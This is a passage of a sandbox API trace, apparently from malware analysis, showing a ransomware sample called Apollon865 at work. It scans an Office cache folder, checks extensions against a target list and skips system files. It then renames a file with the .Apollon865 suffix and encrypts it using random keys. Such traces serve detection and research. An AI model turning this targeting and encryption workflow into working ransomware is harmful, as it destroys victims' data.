	[0078.448] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0078.448] lstrlenW (lpString="hdb") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0078.448] lstrlenW (lpString="his") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0078.448] lstrlenW (lpString="ib") returned 2
	[0078.448] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0078.448] lstrlenW (lpString="idb") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0078.448] lstrlenW (lpString="ihx") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0078.448] lstrlenW (lpString="itdb") returned 4
	[0078.448] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0078.448] lstrlenW (lpString="itw") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0078.448] lstrlenW (lpString="jet") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0078.448] lstrlenW (lpString="jtx") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0078.448] lstrlenW (lpString="kdb") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0078.448] lstrlenW (lpString="kexi") returned 4
	[0078.448] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0078.448] lstrlenW (lpString="kexic") returned 5
	[0078.448] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1
	[0078.448] lstrlenW (lpString="kexis") returned 5
	[0078.449] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1
	[0078.449] lstrlenW (lpString="lgc") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0078.449] lstrlenW (lpString="lwx") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0078.449] lstrlenW (lpString="maf") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0078.449] lstrlenW (lpString="maq") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0078.449] lstrlenW (lpString="mar") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0078.449] lstrlenW (lpString="marshal") returned 7
	[0078.449] lstrcmpiW (lpString1="fLR.cab", lpString2="marshal") returned -1
	[0078.449] lstrlenW (lpString="mas") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0078.449] lstrlenW (lpString="mav") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0078.449] lstrlenW (lpString="maw") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0078.449] lstrlenW (lpString="mdbhtml") returned 7
	[0078.449] lstrcmpiW (lpString1="fLR.cab", lpString2="mdbhtml") returned -1
	[0078.449] lstrlenW (lpString="mdn") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0078.449] lstrlenW (lpString="mdt") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0078.449] lstrlenW (lpString="mfd") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0078.449] lstrlenW (lpString="mpd") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0078.449] lstrlenW (lpString="mrg") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0078.449] lstrlenW (lpString="mud") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0078.449] lstrlenW (lpString="mwb") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0078.449] lstrlenW (lpString="myd") returned 3
	[0078.449] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0078.450] lstrlenW (lpString="ndf") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0078.450] lstrlenW (lpString="nnt") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0078.450] lstrlenW (lpString="nrmlib") returned 6
	[0078.450] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1
	[0078.450] lstrlenW (lpString="ns2") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0078.450] lstrlenW (lpString="ns3") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0078.450] lstrlenW (lpString="ns4") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0078.450] lstrlenW (lpString="nsf") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0078.450] lstrlenW (lpString="nv") returned 2
	[0078.450] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0078.450] lstrlenW (lpString="nv2") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0078.450] lstrlenW (lpString="nwdb") returned 4
	[0078.450] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0078.450] lstrlenW (lpString="nyf") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0078.450] lstrlenW (lpString="odb") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.450] lstrlenW (lpString="odb") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.450] lstrlenW (lpString="oqy") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0078.450] lstrlenW (lpString="ora") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0078.450] lstrlenW (lpString="orx") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0078.450] lstrlenW (lpString="owc") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0078.450] lstrlenW (lpString="p96") returned 3
	[0078.450] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0078.451] lstrlenW (lpString="p97") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0078.451] lstrlenW (lpString="pan") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0078.451] lstrlenW (lpString="pdb") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0078.451] lstrlenW (lpString="pdm") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0078.451] lstrlenW (lpString="pnz") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0078.451] lstrlenW (lpString="qry") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0078.451] lstrlenW (lpString="qvd") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0078.451] lstrlenW (lpString="rbf") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0078.451] lstrlenW (lpString="rctd") returned 4
	[0078.451] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0078.451] lstrlenW (lpString="rod") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0078.451] lstrlenW (lpString="rodx") returned 4
	[0078.451] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0078.451] lstrlenW (lpString="rpd") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0078.451] lstrlenW (lpString="rsd") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0078.451] lstrlenW (lpString="sas7bdat") returned 8
	[0078.451] lstrcmpiW (lpString1="nfLR.cab", lpString2="sas7bdat") returned -1
	[0078.451] lstrlenW (lpString="sbf") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0078.451] lstrlenW (lpString="scx") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0078.451] lstrlenW (lpString="sdb") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0078.451] lstrlenW (lpString="sdc") returned 3
	[0078.451] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0078.451] lstrlenW (lpString="sdf") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0078.452] lstrlenW (lpString="sis") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0078.452] lstrlenW (lpString="spq") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0078.452] lstrlenW (lpString="te") returned 2
	[0078.452] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0078.452] lstrlenW (lpString="teacher") returned 7
	[0078.452] lstrcmpiW (lpString1="fLR.cab", lpString2="teacher") returned -1
	[0078.452] lstrlenW (lpString="tmd") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0078.452] lstrlenW (lpString="tps") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0078.452] lstrlenW (lpString="trc") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.452] lstrlenW (lpString="trc") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.452] lstrlenW (lpString="trm") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0078.452] lstrlenW (lpString="udb") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0078.452] lstrlenW (lpString="udl") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0078.452] lstrlenW (lpString="usr") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0078.452] lstrlenW (lpString="v12") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0078.452] lstrlenW (lpString="vis") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0078.452] lstrlenW (lpString="vpd") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0078.452] lstrlenW (lpString="vvv") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0078.452] lstrlenW (lpString="wdb") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0078.452] lstrlenW (lpString="wmdb") returned 4
	[0078.452] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0078.452] lstrlenW (lpString="wrk") returned 3
	[0078.452] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0078.453] lstrlenW (lpString="xdb") returned 3
	[0078.453] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0078.453] lstrlenW (lpString="xld") returned 3
	[0078.453] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0078.453] lstrlenW (lpString="xmlff") returned 5
	[0078.453] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1
	[0078.453] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1
	[0078.453] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.453] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.453] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".") returned 1
	[0078.453] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="..") returned 1
	[0078.453] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="windows") returned -1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="bootmgr") returned 1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="temp") returned -1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="pagefile.sys") returned -1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="boot") returned 1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ids.txt") returned 1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ntuser.dat") returned -1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="perflogs") returned -1
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="MSBuild") returned -1
	[0078.454] lstrlenW (lpString="InfoPathMUI.msi") returned 15
	[0078.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0078.454] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="InfoPathMUI.msi" | out: lpString1="InfoPathMUI.msi") returned="InfoPathMUI.msi"
	[0078.454] lstrlenW (lpString="InfoPathMUI.msi") returned 15
	[0078.454] lstrlenW (lpString="Apollon865") returned 10
	[0078.454] lstrcmpiW (lpString1="athMUI.msi", lpString2="Apollon865") returned 1
	[0078.454] lstrlenW (lpString=".dll") returned 4
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".dll") returned 1
	[0078.454] lstrlenW (lpString=".lnk") returned 4
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".lnk") returned 1
	[0078.454] lstrlenW (lpString=".ini") returned 4
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".ini") returned 1
	[0078.454] lstrlenW (lpString=".sys") returned 4
	[0078.454] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".sys") returned 1
	[0078.454] lstrlenW (lpString="InfoPathMUI.msi") returned 15
	[0078.454] lstrlenW (lpString="bak") returned 3
	[0078.454] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.454] lstrlenW (lpString="ba_") returned 3
	[0078.454] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.454] lstrlenW (lpString="dbb") returned 3
	[0078.454] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.454] lstrlenW (lpString="vmdk") returned 4
	[0078.454] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.454] lstrlenW (lpString="rar") returned 3
	[0078.454] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.454] lstrlenW (lpString="zip") returned 3
	[0078.454] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.454] lstrlenW (lpString="tgz") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.455] lstrlenW (lpString="vbox") returned 4
	[0078.455] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.455] lstrlenW (lpString="vdi") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.455] lstrlenW (lpString="vhd") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.455] lstrlenW (lpString="vhdx") returned 4
	[0078.455] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.455] lstrlenW (lpString="avhd") returned 4
	[0078.455] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.455] lstrlenW (lpString="db") returned 2
	[0078.455] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.455] lstrlenW (lpString="db2") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.455] lstrlenW (lpString="db3") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.455] lstrlenW (lpString="dbf") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.455] lstrlenW (lpString="mdf") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.455] lstrlenW (lpString="mdb") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.455] lstrlenW (lpString="sql") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.455] lstrlenW (lpString="sqlite") returned 6
	[0078.455] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0078.455] lstrlenW (lpString="sqlite3") returned 7
	[0078.455] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0078.455] lstrlenW (lpString="sqlitedb") returned 8
	[0078.455] lstrcmpiW (lpString1="hMUI.msi", lpString2="sqlitedb") returned -1
	[0078.455] lstrlenW (lpString="xml") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.455] lstrlenW (lpString="$er") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.455] lstrlenW (lpString="4dd") returned 3
	[0078.455] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.455] lstrlenW (lpString="4dl") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.456] lstrlenW (lpString="^^^") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.456] lstrlenW (lpString="abs") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.456] lstrlenW (lpString="abx") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.456] lstrlenW (lpString="accdb") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0078.456] lstrlenW (lpString="accdc") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0078.456] lstrlenW (lpString="accde") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0078.456] lstrlenW (lpString="accdr") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0078.456] lstrlenW (lpString="accdt") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0078.456] lstrlenW (lpString="accdw") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0078.456] lstrlenW (lpString="accft") returned 5
	[0078.456] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0078.456] lstrlenW (lpString="adb") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.456] lstrlenW (lpString="adb") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.456] lstrlenW (lpString="ade") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.456] lstrlenW (lpString="adf") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.456] lstrlenW (lpString="adn") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.456] lstrlenW (lpString="adp") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.456] lstrlenW (lpString="alf") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.456] lstrlenW (lpString="ask") returned 3
	[0078.456] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.456] lstrlenW (lpString="btr") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.457] lstrlenW (lpString="cat") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.457] lstrlenW (lpString="cdb") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.457] lstrlenW (lpString="ckp") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.457] lstrlenW (lpString="cma") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.457] lstrlenW (lpString="cpd") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.457] lstrlenW (lpString="dacpac") returned 6
	[0078.457] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0078.457] lstrlenW (lpString="dad") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.457] lstrlenW (lpString="dadiagrams") returned 10
	[0078.457] lstrcmpiW (lpString1="athMUI.msi", lpString2="dadiagrams") returned -1
	[0078.457] lstrlenW (lpString="daschema") returned 8
	[0078.457] lstrcmpiW (lpString1="hMUI.msi", lpString2="daschema") returned 1
	[0078.457] lstrlenW (lpString="db-journal") returned 10
	[0078.457] lstrcmpiW (lpString1="athMUI.msi", lpString2="db-journal") returned -1
	[0078.457] lstrlenW (lpString="db-shm") returned 6
	[0078.457] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0078.457] lstrlenW (lpString="db-wal") returned 6
	[0078.457] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0078.457] lstrlenW (lpString="dbc") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.457] lstrlenW (lpString="dbs") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.457] lstrlenW (lpString="dbt") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.457] lstrlenW (lpString="dbv") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.457] lstrlenW (lpString="dbx") returned 3
	[0078.457] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.457] lstrlenW (lpString="dcb") returned 3
	[0078.458] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.458] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.458] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.458] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.458] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="InfoPathMUI.xml" | out: lpString1="InfoPathMUI.xml") returned="InfoPathMUI.xml"
	[0078.458] lstrlenW (lpString="InfoPathMUI.xml") returned 15
	[0078.458] lstrlenW (lpString="Apollon865") returned 10
	[0078.458] lstrcmpiW (lpString1="athMUI.xml", lpString2="Apollon865") returned 1
	[0078.458] lstrlenW (lpString=".dll") returned 4
	[0078.458] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".dll") returned 1
	[0078.458] lstrlenW (lpString=".lnk") returned 4
	[0078.458] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".lnk") returned 1
	[0078.458] lstrlenW (lpString=".ini") returned 4
	[0078.458] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".ini") returned 1
	[0078.458] lstrlenW (lpString=".sys") returned 4
	[0078.458] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".sys") returned 1
	[0078.458] lstrlenW (lpString="InfoPathMUI.xml") returned 15
	[0078.459] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Apollon865") returned 89
	[0078.459] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.459] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.459] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1231) returned 1
	[0078.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.460] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfab8) returned 1
	[0078.461] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.461] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0078.461] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x10c
	[0078.462] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000
	[0078.464] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfab8) returned 1
	[0078.465] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.465] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0078.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.466] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.466] CloseHandle (hObject=0x10c) returned 1
	[0078.466] CloseHandle (hObject=0x15c) returned 1
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.466] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
